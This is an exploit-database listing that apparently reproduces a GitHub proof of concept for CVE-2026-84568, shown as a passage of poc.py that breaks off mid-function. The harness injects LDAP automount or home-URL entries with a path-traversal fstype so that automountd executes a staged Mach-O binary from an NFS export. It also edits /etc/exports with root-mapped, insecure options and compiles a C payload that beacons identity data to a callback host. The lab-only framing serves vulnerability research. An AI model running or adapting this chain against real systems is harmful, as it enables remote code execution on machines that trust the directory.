Exploit database

GH-64a7fbc58ee08e385e8bd43437747b81

redinpulse/cve-2026-84568

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-84568

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
redinpulse/cve-2026-84568Revision 5328a7dd2841

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/poc.py

Python · 56,087 bytes
#!/usr/bin/env python3
"""CVE-2026-84568 chained research harness (authorized labs only).

The harness preserves the reported LDAP -> NFS -> automountd data flow while
keeping the public reproducer non-interactive:

    1. validate the 31-byte fstype budget;
    2. build a benign proof payload (marker file + one-way TCP beacon);
    3. prepare a Linux, macOS, or externally managed NFS export;
    4. start the proof monitor before changing directory data;
    5. write and read back the delivery and dispatch directory values;
    6. wait for an independently generated/ambient autofs lookup; and
    7. restore every directory and NFS change made by the harness.

The program does not invoke a shell on a client, accept commands over the
proof channel, use SSH, or touch either /home lookup path itself.  A timeout
means only that no proof event arrived during the observation window.

This program validates the CVE-2026-84568 delivery and helper-dispatch chain.
It does not use a LaunchServices app open as proof of that issue and does not
claim to validate CVE-2026-84570; the separate on-host 84570 validator measures
Gatekeeper and device-node policy independently.

Two directory routes, converging at the same parser:
    automount : AutomountInformation records under automountMapName=auto_home
    userhome  : apple-user-homeurl (<home_dir><url>...</url></home_dir>)
                on two user records (one delivers, one dispatches).

Examples:
    # nothing is touched, prints budget math + planned operations:
    ./poc.py --dry-run --ldap-host 127.0.0.1 \
        --bind-dn 'uid=admin,dc=lab' --map-dn 'automountMapName=auto_home,ou=automount,dc=lab' \
        --lhost 127.0.0.1 --callback-port 4444 --nfs-backend macos

    # lab run (root required only for a locally managed NFS backend):
    sudo ./poc.py --ldap-host 127.0.0.1 --bind-dn 'uid=admin,dc=lab' \
        --map-dn 'automountMapName=auto_home,ou=automount,dc=lab' \
        --callback-host 127.0.0.1 --callback-port 4444 --nfs-backend macos \
        --authorized-lab

Exit codes: 0 proof received, 2 usage/budget, 3 LDAP, 4 NFS,
5 observation timeout, 6 cleanup/restore failure, 130 interrupted.
"""

import argparse
import datetime
import getpass
import ipaddress
import json
import os
import re
import secrets
import shutil
import socket
import socketserver
import subprocess
import sys
import tempfile
import threading
import time

MAX_FSTYPE_BYTES = 31  # MAX_FSLEN=32 minus NUL (autofs-322)
TRAVERSAL_PREFIX = "nfs/../../../home/"  # runtime-validated 3-dot form
HELPER_PREFIX = "/sbin/mount_"
PROOF_RE = re.compile(
    rb"^CVE-2026-84568 token=([A-Za-z0-9_.-]{1,64}) "
    rb"uid=(\d+) euid=(\d+) gid=(\d+) egid=(\d+) "
    rb"pid=(\d+) ppid=(\d+)$"
)

EXIT_OK = 0
EXIT_USAGE = 2
EXIT_LDAP = 3
EXIT_NFS = 4
EXIT_TIMEOUT = 5
EXIT_CLEANUP = 6
EXIT_INTERRUPTED = 130

try:
    import ldap3  # type: ignore[import-untyped]
    from ldap3 import MODIFY_DELETE, MODIFY_REPLACE
except ImportError:
    ldap3 = None

LDAP_EXCEPTION = ldap3.core.exceptions.LDAPException if ldap3 is not None else ()

LOG_LINES = []


def log(msg):
    print(msg, flush=True)
    LOG_LINES.append(msg)


def fail(code, msg):
    log(f"error={msg}")
    sys.exit(code)


def executable_path(name, candidates):
    """Resolve a privileged helper without relying on PATH first."""
    for candidate in candidates:
        if os.path.isfile(candidate) and os.access(candidate, os.X_OK):
            return candidate
    if os.geteuid() != 0:
        discovered = shutil.which(name)
        if discovered and os.path.isabs(discovered):
            return discovered
    raise FileNotFoundError(f"required executable not found: {name}")


def prepare_workdir(requested):
    """Create, or validate, a private directory for recovery artifacts."""
    if requested is None:
        return tempfile.mkdtemp(prefix="c8x-")

    path = os.path.abspath(requested)
    if os.path.lexists(path):
        if os.path.islink(path) or not os.path.isdir(path):
            fail(EXIT_USAGE, f"workdir must be a real directory: {path}")
        st = os.stat(path)
        if st.st_uid != os.geteuid():
            fail(EXIT_USAGE, f"workdir must be owned by uid {os.geteuid()}: {path}")
        if st.st_mode & 0o077:
            fail(EXIT_USAGE, f"workdir must not be accessible by group/other: {path}")
        with os.scandir(path) as entries:
            if next(entries, None) is not None:
                fail(EXIT_USAGE, f"workdir must be empty for a new run: {path}")
    else:
        os.makedirs(path, mode=0o700)
    return path


# --------------------------------------------------------------------------
# Pure logic: fstype budget
# --------------------------------------------------------------------------


def compute_fstype(delivery_key, payload_name):
    return f"{TRAVERSAL_PREFIX}{delivery_key}/{payload_name}"


def budget_check(fstype, limit=MAX_FSTYPE_BYTES):
    """Return (ok, detail dict) for a traversal fstype."""
    byte_length = len(fstype.encode("utf-8"))
    prefix_length = len(TRAVERSAL_PREFIX.encode("ascii"))
    detail = {
        "fstype": fstype,
        "length": byte_length,
        "character_length": len(fstype),
        "limit": limit,
        "prefix_length": prefix_length,
        "remaining_for_key_and_payload": limit - prefix_length,
    }
    problems = []
    if byte_length > limit:
        problems.append(
            f"fstype is {byte_length} bytes, exceeds {limit}-byte budget "
            f"(shorten key or payload name by {byte_length - limit})"
        )
    if not fstype.startswith("nfs/"):
        problems.append(
            "fstype must start with 'nfs/' so the constructed "
            "path names the real /sbin/mount_nfs file"
        )
    if fstype == "nfs":
        problems.append(
            "fstype must not be exactly 'nfs' (takes the dedicated NFS branch)"
        )
    detail["ok"] = not problems
    detail["problems"] = problems
    return detail["ok"], detail


def check_userhome_budget(username, payload_name, limit=MAX_FSTYPE_BYTES):
    """userhome route: the delivery key IS the username."""
    return budget_check(compute_fstype(username, payload_name), limit)


def rdn_value(dn):
    return dn.split(",")[0].split("=", 1)[1]


# --------------------------------------------------------------------------
# Payload
# --------------------------------------------------------------------------

PAYLOAD_TEMPLATE = r"""#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define CALLBACK_HOST "__CALLBACK_HOST__"
#define CALLBACK_PORT __CALLBACK_PORT__
#define PROOF_PREFIX "__PREFIX__"
#define PROOF_TOKEN "__TOKEN__"

int
main(int argc, char **argv)
{
	char proof_path[256];
	FILE *f;
	int proof_fd;
	int s = -1;
	struct sockaddr_in a;
	char message[512];
	int message_len;

	snprintf(proof_path, sizeof(proof_path), "/tmp/%s-proof-%u.txt",
	    PROOF_PREFIX, getuid());
	proof_fd = open(proof_path,
	    O_WRONLY | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
	f = proof_fd >= 0 ? fdopen(proof_fd, "w") : NULL;
	if (f != NULL) {
		fprintf(f, "executed=true\n");
		fprintf(f, "uid=%u euid=%u gid=%u egid=%u\n",
		    getuid(), geteuid(), getgid(), getegid());
		fprintf(f, "pid=%d ppid=%d\n", getpid(), getppid());
		fprintf(f, "argv0=%s\n", argc > 0 ? argv[0] : "<none>");
		fclose(f);
	} else if (proof_fd >= 0) {
		(void)close(proof_fd);
	}

	message_len = snprintf(message, sizeof(message),
	    "CVE-2026-84568 token=%s uid=%u euid=%u gid=%u egid=%u pid=%d ppid=%d\n",
	    PROOF_TOKEN, getuid(), geteuid(), getgid(), getegid(),
	    getpid(), getppid());
	if (message_len < 0 || (size_t)message_len >= sizeof(message))
		return 3;

	/* One-way proof only: connect, send one bounded line, close, and exit. */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s >= 0) {
		memset(&a, 0, sizeof(a));
		a.sin_family = AF_INET;
		a.sin_port = htons(CALLBACK_PORT);
		if (inet_pton(AF_INET, CALLBACK_HOST, &a.sin_addr) == 1 &&
		    connect(s, (struct sockaddr *)&a, sizeof(a)) == 0)
			(void)send(s, message, (size_t)message_len, 0);
		(void)close(s);
	}

	return 0;
}
"""


def build_payload_source(callback_host, callback_port, prefix="c8x", token="c8x-proof"):
    """Build a marker/beacon payload; it contains no command channel."""
    return (
        PAYLOAD_TEMPLATE.replace("__CALLBACK_HOST__", callback_host)
        .replace("__CALLBACK_PORT__", str(int(callback_port)))
        .replace("__PREFIX__", prefix)
        .replace("__TOKEN__", token)
    )


def compile_payload(src_path, out_path, arch="arm64"):
    compiler = executable_path("cc", ("/usr/bin/cc", "/usr/bin/clang"))
    cmd = [compiler, "-O2", "-Wall", "-Wextra"]
    if arch == "universal":
        cmd += ["-arch", "arm64", "-arch", "x86_64"]
    elif arch != "native":
        cmd += ["-arch", arch]
    cmd += ["-o", out_path, src_path]
    subprocess.run(cmd, check=True)
    codesign = next(
        (
            path
            for path in ("/usr/bin/codesign",)
            if os.path.isfile(path) and os.access(path, os.X_OK)
        ),
        None,
    )
    if codesign:
        subprocess.run(
            [codesign, "-f", "-s", "-", out_path],
            check=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )
        log(f"payload_signature=adhoc path={out_path}")
    return out_path


MACHO_MAGICS = {
    b"\xfe\xed\xfa\xce",
    b"\xce\xfa\xed\xfe",  # 32-bit
    b"\xfe\xed\xfa\xcf",
    b"\xcf\xfa\xed\xfe",  # 64-bit
    b"\xca\xfe\xba\xbe",
    b"\xbe\xba\xfe\xca",  # fat
    b"\xca\xfe\xba\xbf",
    b"\xbf\xba\xfe\xca",  # fat64
}


def inspect_prebuilt_payload(path, token, callback_host):
    """Check that a prebuilt file resembles this harness's proof payload."""
    problems = []
    try:
        size = os.path.getsize(path)
        with open(path, "rb") as fh:
            blob = fh.read(20 * 1024 * 1024 + 1)
    except OSError as exc:
        return False, [f"cannot read payload: {exc}"]
    if size > 20 * 1024 * 1024 or len(blob) > 20 * 1024 * 1024:
        problems.append("payload exceeds the 20 MiB publication-harness limit")
    if blob[:4] not in MACHO_MAGICS:
        problems.append("payload is not a Mach-O or universal Mach-O binary")
    for label, marker in (
        ("proof protocol", b"CVE-2026-84568 token=%s"),
        ("proof token", token.encode("ascii")),
        ("callback host", callback_host.encode("ascii")),
    ):
        if marker not in blob:
            problems.append(f"payload does not contain expected {label}")
    return not problems, problems


def build_only(args):
    """Build a reusable benign Mach-O proof payload without LDAP/NFS writes."""
    output = os.path.abspath(args.build_only)
    if os.path.exists(output) and not args.force_payload:
        fail(
            EXIT_USAGE, f"refusing to overwrite payload: {output} (use --force-payload)"
        )
    parent = os.path.dirname(output)
    if not os.path.isdir(parent):
        fail(EXIT_USAGE, f"payload output directory does not exist: {parent}")
    with tempfile.TemporaryDirectory(prefix="c8x-build-") as temporary:
        source = os.path.join(temporary, "payload.c")
        with open(source, "w", encoding="utf-8") as fh:
            fh.write(
                build_payload_source(
                    args.callback_host,
                    args.callback_port,
                    args.proof_prefix,
                    args.proof_token,
                )
            )
        compile_payload(source, output, args.arch)
    ok, problems = inspect_prebuilt_payload(
        output, args.proof_token, args.callback_host
    )
    if not ok:
        for problem in problems:
            log(f"payload_problem={problem}")
        fail(EXIT_USAGE, "built output failed proof-payload verification")
    log(
        f"payload_build=PASS path={output} token={args.proof_token} "
        f"callback={args.callback_host}:{args.callback_port}"
    )
    return EXIT_OK


# --------------------------------------------------------------------------
# Map line / directory value builders
# --------------------------------------------------------------------------


def mapline_delivery(lhost, nfs_dir):
    return f"-fstype=nfs nfs://{lhost}:{nfs_dir}"


def mapline_dispatch(fstype, lhost):
    # The payload ignores mount-helper arguments, but a syntactically valid
    # NFS resource keeps map parsing separate from the dispatch result.
    return f"-fstype={fstype} nfs://{lhost}:/tmp"


def home_dir_xml(mapline):
    return f"<home_dir><url>{mapline}</url></home_dir>"


# --------------------------------------------------------------------------
# NFS backend
# --------------------------------------------------------------------------


def build_exports_line(
    nfs_dir,
    backend,
    options="rw,insecure,async,no_subtree_check",
    network="127.0.0.0",
    mask="255.0.0.0",
):
    if backend == "linux":
        client_network = ipaddress.IPv4Network(
            (network, mask), strict=False
        ).with_prefixlen
        return f"{nfs_dir} {client_network}({options})"
    return f"{nfs_dir} -mapall=root -network {network} -mask {mask}"


class NfsBackend:
    def __init__(self, backend, nfs_dir, workdir, options, network, mask):
        self.backend = backend
        self.nfs_dir = nfs_dir
        self.workdir = workdir
        self.options = options
        self.network = network
        self.mask = mask
        self.had_exports = None  # None: untouched
        self.backup_path = None
        self.line = None
        self.exports_changed = False
        self.nfs_dir_created = False
        self.staged_payload = None
        self.staged_payload_backup = None

    def _reload(self):
        if self.backend == "linux":
            exportfs = executable_path(
                "exportfs", ("/usr/sbin/exportfs", "/sbin/exportfs")
            )
            subprocess.run([exportfs, "-ra"], check=True)
        else:
            nfsd = executable_path("nfsd", ("/sbin/nfsd", "/usr/sbin/nfsd"))
            subprocess.run(
                [nfsd, "restart"],
                check=True,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.DEVNULL,
            )

    def stage_payload(self, source, payload_name, force=False):
        """Place the proof binary at the root of the local export directory."""
        destination = os.path.join(self.nfs_dir, payload_name)
        if os.path.islink(self.nfs_dir):
            fail(EXIT_NFS, f"refusing symlink NFS directory: {self.nfs_dir}")
        if not os.path.isdir(self.nfs_dir):
            if os.path.exists(self.nfs_dir):
                fail(
                    EXIT_NFS, f"NFS path exists but is not a directory: {self.nfs_dir}"
                )
            os.makedirs(self.nfs_dir, mode=0o755)
            self.nfs_dir_created = True

        if os.path.islink(destination):
            fail(EXIT_NFS, f"refusing symlink NFS payload: {destination}")

        if os.path.exists(destination) and os.path.samefile(source, destination):
            if not os.access(destination, os.X_OK):
                fail(
                    EXIT_NFS,
                    f"payload already occupies export path but is not "
                    f"executable: {destination}",
                )
            log(f"nfs_payload=reusing path={destination}")
            return destination

        if os.path.exists(destination):
            if not force:
                fail(
                    EXIT_NFS,
                    f"refusing to overwrite NFS payload: {destination} "
                    "(use --force-payload in an authorized lab)",
                )
            self.staged_payload_backup = os.path.join(
                self.workdir, "nfs-payload.backup"
            )
            shutil.copy2(destination, self.staged_payload_backup)

        # Record the destination before copying so cleanup also handles a
        # partial copy or chmod failure.
        self.staged_payload = destination
        shutil.copy2(source, destination)
        os.chmod(destination, 0o755)
        log(f"nfs_payload=staged path={destination}")
        return destination

    @staticmethod
    def _replace_exports(data, mode=0o644, reference_path=None):
        fd, temporary = tempfile.mkstemp(prefix=".exports.c8x-", dir="/etc")
        try:
            with os.fdopen(fd, "wb") as fh:
                fh.write(data)
                fh.flush()
                os.fsync(fh.fileno())
            if reference_path is not None:
                reference_stat = os.stat(reference_path, follow_symlinks=False)
                shutil.copystat(reference_path, temporary, follow_symlinks=False)
                os.chown(temporary, reference_stat.st_uid, reference_stat.st_gid)
            else:
                os.chmod(temporary, mode)
            os.replace(temporary, "/etc/exports")
        finally:
            if os.path.exists(temporary):
                os.unlink(temporary)

    def prepare(self):
        if self.backend == "external":
            log("nfs_backend=external (export assumed managed outside)")
            return
        self.line = build_exports_line(
            self.nfs_dir, self.backend, self.options, self.network, self.mask
        )
        self.had_exports = os.path.exists("/etc/exports")
        if os.path.islink("/etc/exports"):
            fail(EXIT_NFS, "refusing to replace symlink /etc/exports")
        self.backup_path = os.path.join(self.workdir, "exports.backup")
        old_data = b""
        old_mode = 0o644
        if self.had_exports:
            shutil.copy2("/etc/exports", self.backup_path)
            with open("/etc/exports", "rb") as fh:
                old_data = fh.read()
            old_mode = os.stat("/etc/exports").st_mode & 0o777

        existing_lines = old_data.decode("utf-8", "replace").splitlines()
        if self.line in existing_lines:
            log(f"nfs_export=reusing line={self.line}")
        else:
            separator = b"" if not old_data or old_data.endswith(b"\n") else b"\n"
            new_data = old_data + separator + self.line.encode("utf-8") + b"\n"
            self._replace_exports(
                new_data, old_mode, "/etc/exports" if self.had_exports else None
            )
            self.exports_changed = True
        self._reload()
        time.sleep(2)
        showmount = next(
            (
                path
                for path in ("/usr/bin/showmount", "/usr/sbin/showmount")
                if os.path.isfile(path) and os.access(path, os.X_OK)
            ),
            None,
        )
        if showmount:
            r = subprocess.run(
                [showmount, "-e", "127.0.0.1"], capture_output=True, text=True
            )
            export_paths = {
                line.split()[0]
                for line in r.stdout.splitlines()
                if line.strip().startswith("/")
            }
            if r.returncode != 0 or self.nfs_dir not in export_paths:
                fail(EXIT_NFS, f"export not visible via showmount: {self.line}")
        log(f"nfs_export=PASS line={self.line}")

    def teardown(self):
        errors = []
        if self.backend != "external" and self.had_exports is not None:
            if self.exports_changed:
                try:
                    if self.had_exports:
                        shutil.copy2(self.backup_path, "/etc/exports")
                    elif os.path.exists("/etc/exports"):
                        os.remove("/etc/exports")
                    self._reload()
                    log("nfs_teardown=restored /etc/exports")
                except Exception as exc:  # noqa: BLE001
                    errors.append(f"exports restore failed: {exc}")

        if self.staged_payload:
            try:
                if self.staged_payload_backup:
                    shutil.copy2(self.staged_payload_backup, self.staged_payload)
                elif os.path.exists(self.staged_payload):
                    os.remove(self.staged_payload)
                log(f"nfs_payload=restored path={self.staged_payload}")
            except Exception as exc:  # noqa: BLE001
                errors.append(f"payload restore failed: {exc}")
        if self.nfs_dir_created:
            try:
                os.rmdir(self.nfs_dir)
            except OSError as exc:
                errors.append(f"created NFS directory was not removed: {exc}")
        if errors:
            raise RuntimeError("; ".join(errors))


# --------------------------------------------------------------------------
# Passive proof monitor
# --------------------------------------------------------------------------


class ProofEvent:
    def __init__(self, peer, match, raw):
        self.peer = peer
        self.token = match.group(1).decode("ascii")
        values = [int(group) for group in match.groups()[1:]]
        (self.uid, self.euid, self.gid, self.egid, self.pid, self.ppid) = values
        self.raw = raw.decode("ascii", "replace")
        self.received_at = datetime.datetime.now(datetime.timezone.utc).isoformat(
            timespec="seconds"
        )

    def as_dict(self):
        return {
            "received_at": self.received_at,
            "peer": self.peer,
            "token": self.token,
            "uid": self.uid,
            "euid": self.euid,
            "gid": self.gid,
            "egid": self.egid,
            "pid": self.pid,
            "ppid": self.ppid,
        }


class _ProofServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True

    def __init__(self, addr, monitor):
        super().__init__(addr, _ProofHandler)
        self.monitor = monitor


class _ProofHandler(socketserver.BaseRequestHandler):
    MAX_EVENT_BYTES = 1024

    def handle(self):
        monitor = self.server.monitor
        self.request.settimeout(3)
        chunks = []
        size = 0
        try:
            while size < self.MAX_EVENT_BYTES:
                data = self.request.recv(min(256, self.MAX_EVENT_BYTES - size))
                if not data:
                    break
                chunks.append(data)
                size += len(data)
                if b"\n" in data:
                    break
        except (OSError, socket.timeout):
            return

        raw = b"".join(chunks).split(b"\n", 1)[0].strip()
        match = PROOF_RE.fullmatch(raw)
        peer = "{}:{}".format(*self.request.getpeername())
        if match is None:
            log(f"proof_event=rejected peer={peer} reason=invalid_format")
            return
        event = ProofEvent(peer, match, raw)
        if event.token != monitor.token:
            log(f"proof_event=rejected peer={peer} reason=token_mismatch")
            return
        monitor.record(event)


class ProofMonitor:
    """Accept exactly one bounded proof line and never send client data."""

    def __init__(self, host, port, events_path, token):
        self.host = host
        self.port = port
        self.events_path = events_path
        self.token = token
        self.events = []
        self._lock = threading.Lock()
        self.events_changed = threading.Condition(self._lock)
        self._server = None

    def start(self):
        os.makedirs(os.path.dirname(self.events_path) or ".", exist_ok=True)
        self._server = _ProofServer((self.host, self.port), self)
        self.port = self._server.server_address[1]
        threading.Thread(target=self._server.serve_forever, daemon=True).start()
        log(f"proof_monitor={self.host}:{self.port} events={self.events_path}")

    def record(self, event):
        with self.events_changed:
            flags = os.O_WRONLY | os.O_CREAT | os.O_APPEND
            if hasattr(os, "O_NOFOLLOW"):
                flags |= os.O_NOFOLLOW
            fd = os.open(self.events_path, flags, 0o600)
            with os.fdopen(fd, "a", encoding="utf-8") as fh:
                fh.write(json.dumps(event.as_dict(), sort_keys=True) + "\n")
            self.events.append(event)
            self.events_changed.notify_all()
        log(
            "proof_event=accepted peer=%s uid=%d euid=%d gid=%d egid=%d "
            "pid=%d ppid=%d"
            % (
                event.peer,
                event.uid,
                event.euid,
                event.gid,
                event.egid,
                event.pid,
                event.ppid,
            )
        )

    def wait_for_event(self, timeout):
        deadline = None if timeout == 0 else time.monotonic() + timeout
        with self.events_changed:
            while not self.events:
                if deadline is None:
                    self.events_changed.wait()
                    continue
                remaining = deadline - time.monotonic()
                if remaining <= 0:
                    return None
                self.events_changed.wait(remaining)
            return self.events[0]

    def stop(self):
        if self._server:
            self._server.shutdown()
            self._server.server_close()
            self._server = None


# --------------------------------------------------------------------------
# LDAP layer (ldap3; accepts an injected connection for testing)
# --------------------------------------------------------------------------


class LdapStepError(Exception):
    pass


class CleanupError(Exception):
    pass


class LdapSession:
    def __init__(
        self,
        host=None,
        port=None,
        bind_dn=None,
        bind_pass=None,
        use_ssl=False,
        conn=None,
    ):
        self.host, self.port, self.bind_dn, self.bind_pass = (
            host,
            port,
            bind_dn,
            bind_pass,
        )
        self.use_ssl = use_ssl
        self.conn = conn
        self.attr_backups = []  # [{dn, attr, value(None|list)}]
        self.created_dns = []  # entries we added, deleted on restore

    def connect(self):
        if self.conn is not None:
            return
        if ldap3 is None:
            fail(EXIT_LDAP, "ldap3 module missing: pip3 install --user ldap3")
        srv = ldap3.Server(
            self.host, port=self.port or 389, use_ssl=self.use_ssl, get_info=ldap3.NONE
        )
        self.conn = ldap3.Connection(
            srv,
            user=self.bind_dn,
            password=self.bind_pass,
            raise_exceptions=True,
            auto_bind=True,
        )

    # -- primitives --------------------------------------------------------

    def read_attr(self, dn, attr):
        try:
            self.conn.search(
                dn, "(objectClass=*)", search_scope="BASE", attributes=[attr]
            )
        except ldap3.core.exceptions.LDAPNoSuchObjectResult:
            return None
        except ldap3.core.exceptions.LDAPException as exc:
            raise LdapStepError(f"LDAP read failed for {dn}/{attr}: {exc}") from exc
        if not self.conn.entries:
            return None
        entry = self.conn.entries[0]
        # entry_raw_attributes holds undecoded bytes; .values may repr() them
        # when no schema is loaded, so decode from raw for exact comparison.
        raw = entry.entry_raw_attributes
        key = next((k for k in raw if k.lower() == attr.lower()), None)
        if key is None:
            return None
        vals = []
        for v in raw[key] or []:
            if isinstance(v, bytes):
                v = v.decode("utf-8", "replace")
            vals.append(str(v))
        return vals or None  # zero values == attribute absent (LDAP)

    def _entry_exists(self, dn):
        try:
            self.conn.search(
                dn, "(objectClass=*)", search_scope="BASE", attributes=["objectClass"]
            )
        except ldap3.core.exceptions.LDAPNoSuchObjectResult:
            return False
        except ldap3.core.exceptions.LDAPException as exc:
            raise LdapStepError(f"LDAP existence check failed for {dn}: {exc}") from exc
        return bool(self.conn.entries)

    def replace_attr(self, dn, attr, values):
        vals = [str(v) for v in values]
        if not self.conn.modify(dn, {attr: [(MODIFY_REPLACE, vals)]}):
            raise LdapStepError(
                f"LDAP replace failed for {dn}/{attr}: {self.conn.result!r}"
            )
        got = self.read_attr(dn, attr)
        if sorted(got or []) != sorted(vals):
            raise LdapStepError(f"readback mismatch on {dn}/{attr}: {got!r}")

    def backup_attr(self, dn, attr):
        if any(
            rec["dn"] == dn and rec["attr"].lower() == attr.lower()
            for rec in self.attr_backups
        ):
            return
        self.attr_backups.append(
            {"dn": dn, "attr": attr, "value": self.read_attr(dn, attr)}
        )

    def delete_attr(self, dn, attr):
        if not self.conn.modify(dn, {attr: [(MODIFY_DELETE, [])]}):
            raise LdapStepError(
                f"LDAP attribute delete failed for {dn}/{attr}: {self.conn.result!r}"
            )

    def add_entry(self, dn, object_class, attributes):
        if not self.conn.add(dn, object_class=object_class, attributes=attributes):
            raise LdapStepError(f"LDAP add failed for {dn}: {self.conn.result!r}")
        # Track immediately: a subsequent readback failure must not orphan the
        # entry during cleanup.
        self.created_dns.append(dn)
        if not self._entry_exists(dn):
            raise LdapStepError(f"entry not present after add: {dn}")

    def delete_entry(self, dn):
        if not self.conn.delete(dn):
            raise LdapStepError(f"LDAP delete failed for {dn}: {self.conn.result!r}")

    # -- directory operations -----------------------------------------------

    def add_automount_entry(
        self, map_dn, key, info, object_class=("automount",), rdn_attr="automountKey"
    ):
        dn = f"{rdn_attr}={key},{map_dn}"
        self.add_entry(
            dn, list(object_class), {rdn_attr: key, "automountInformation": info}
        )
        got = self.read_attr(dn, "automountInformation")
        if got != [info]:
            raise LdapStepError(f"readback mismatch on {dn}: {got!r}")
        return dn

    def restore(self):
        errors = []
        for rec in reversed(self.attr_backups):
            try:
                if rec["value"] is None:
                    if self.read_attr(rec["dn"], rec["attr"]) is not None:
                        self.delete_attr(rec["dn"], rec["attr"])
                else:
                    self.replace_attr(rec["dn"], rec["attr"], rec["value"])
            except Exception as exc:  # noqa: BLE001
                errors.append(f"{rec['dn']}/{rec['attr']}: {exc}")
        for dn in reversed(self.created_dns):
            try:
                if self._entry_exists(dn):
                    self.delete_entry(dn)
            except Exception as exc:  # noqa: BLE001
                errors.append(f"{dn}: {exc}")
        if errors:
            raise LdapStepError("; ".join(errors))
        log(
            f"ldap_restore=done attrs={len(self.attr_backups)} "
            f"deleted_entries={len(self.created_dns)}"
        )

    def save_backup(self, path):
        parent = os.path.dirname(os.path.abspath(path))
        os.makedirs(parent, mode=0o700, exist_ok=True)
        fd, temporary = tempfile.mkstemp(prefix=".ldap-backup-", dir=parent)
        try:
            os.fchmod(fd, 0o600)
            with os.fdopen(fd, "w", encoding="utf-8") as fh:
                json.dump(
                    {
                        "attr_backups": self.attr_backups,
                        "created_dns": self.created_dns,
                    },
                    fh,
                    indent=2,
                )
                fh.write("\n")
                fh.flush()
                os.fsync(fh.fileno())
            os.replace(temporary, path)
        finally:
            if os.path.exists(temporary):
                os.unlink(temporary)
        log(f"ldap_backup_saved={path}")

    @classmethod
    def restore_from_file(cls, path, conn):
        try:
            with open(path, encoding="utf-8") as fh:
                state = json.load(fh)
        except (OSError, json.JSONDecodeError) as exc:
            raise LdapStepError(f"cannot read LDAP recovery file: {exc}") from exc
        if (
            not isinstance(state, dict)
            or not isinstance(state.get("attr_backups"), list)
            or not isinstance(state.get("created_dns"), list)
        ):
            raise LdapStepError("invalid LDAP recovery file structure")
        for record in state["attr_backups"]:
            if (
                not isinstance(record, dict)
                or not isinstance(record.get("dn"), str)
                or not isinstance(record.get("attr"), str)
                or not (
                    record.get("value") is None
                    or (
                        isinstance(record.get("value"), list)
                        and all(isinstance(value, str) for value in record["value"])
                    )
                )
            ):
                raise LdapStepError("invalid attribute record in LDAP recovery file")
        if not all(isinstance(dn, str) for dn in state["created_dns"]):
            raise LdapStepError("invalid created DN in LDAP recovery file")
        sess = cls(conn=conn)
        sess.attr_backups = state["attr_backups"]
        sess.created_dns = state["created_dns"]
        sess.restore()


# --------------------------------------------------------------------------
# Orchestration
# --------------------------------------------------------------------------


def build_parser():
    p = argparse.ArgumentParser(
        description="CVE-2026-84568 chained lab harness (authorized lab use only)",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
    )
    ldap = p.add_argument_group("ldap")
    ldap.add_argument("--ldap-host")
    ldap.add_argument("--ldap-port", type=int, default=389)
    ldap.add_argument("--ldap-ssl", action="store_true")
    ldap.add_argument("--bind-dn")
    ldap.add_argument(
        "--bind-pass",
        default=None,
        help="omit to be prompted (never prompted in --dry-run)",
    )
    ldap.add_argument("--route", choices=["automount", "userhome"], default="automount")
    ldap.add_argument(
        "--map-dn", help="automount route: DN of automountMapName=auto_home"
    )
    ldap.add_argument(
        "--create-map",
        action="store_true",
        help="create the map entry if missing (tracked for cleanup)",
    )
    ldap.add_argument(
        "--keys", default="c8a,c8b", help="automount route: delivery,dispatch map keys"
    )
    ldap.add_argument("--user-a-dn", help="userhome route: delivery user DN")
    ldap.add_argument("--user-b-dn", help="userhome route: dispatch user DN")
    ldap.add_argument("--home-attr", default="apple-user-homeurl")

    nfs = p.add_argument_group("nfs")
    nfs.add_argument(
        "--nfs-backend", choices=["linux", "macos", "external"], default="macos"
    )
    nfs.add_argument("--nfs-dir", default="/private/tmp/c8x-export")
    nfs.add_argument("--exports-opts", default="rw,insecure,async,no_subtree_check")
    nfs.add_argument("--network", default="127.0.0.0")
    nfs.add_argument("--mask", default="255.0.0.0")

    pl = p.add_argument_group("payload and proof monitor")
    pl.add_argument("--payload-name", default="p")
    pl.add_argument(
        "--payload-bin",
        help="prebuilt benign Mach-O proof payload (required on a non-macOS NFS host)",
    )
    pl.add_argument(
        "--build-only",
        metavar="OUTPUT",
        help="build/sign the benign proof Mach-O and exit without LDAP or NFS changes",
    )
    pl.add_argument(
        "--arch", choices=["native", "arm64", "x86_64", "universal"], default="native"
    )
    pl.add_argument("--lhost", help="NFS server address embedded in directory values")
    pl.add_argument(
        "--callback-host",
        help="IPv4 address embedded in the proof payload; "
        "defaults to --lhost when --lhost is an IPv4 literal",
    )
    pl.add_argument(
        "--listen-host",
        default="127.0.0.1",
        help="local address for the passive proof monitor; use "
        "0.0.0.0 explicitly for remote lab clients",
    )
    pl.add_argument(
        "--callback-port", "--lport", dest="callback_port", type=int, default=4444
    )
    pl.add_argument(
        "--proof-token", help="optional correlation token (random when omitted)"
    )
    pl.add_argument(
        "--proof-prefix",
        default="c8x",
        help="prefix of the marker file written on the client",
    )

    monitor = p.add_argument_group("observation")
    monitor.add_argument(
        "--monitor-timeout",
        "--wait-timeout",
        dest="monitor_timeout",
        type=int,
        default=300,
        help="seconds to wait; zero waits until interrupted",
    )

    misc = p.add_argument_group("misc")
    misc.add_argument(
        "--workdir",
        default=None,
        help="private empty directory for recovery artifacts; a random "
        "mode-0700 directory is created when omitted",
    )
    misc.add_argument("--dry-run", action="store_true")
    misc.add_argument(
        "--authorized-lab",
        action="store_true",
        help="required for writes; confirms authorization",
    )
    misc.add_argument(
        "--force",
        action="store_true",
        help="temporarily replace an existing entry/attribute",
    )
    misc.add_argument(
        "--force-payload",
        action="store_true",
        help="temporarily replace an existing export payload",
    )
    misc.add_argument(
        "--restore-from",
        metavar="BACKUP_JSON",
        help="only restore a previous run's directory state",
    )
    return p


def validate_args(args):
    if args.build_only and args.restore_from:
        fail(EXIT_USAGE, "--build-only and --restore-from are mutually exclusive")
    if args.restore_from:
        if not args.authorized_lab:
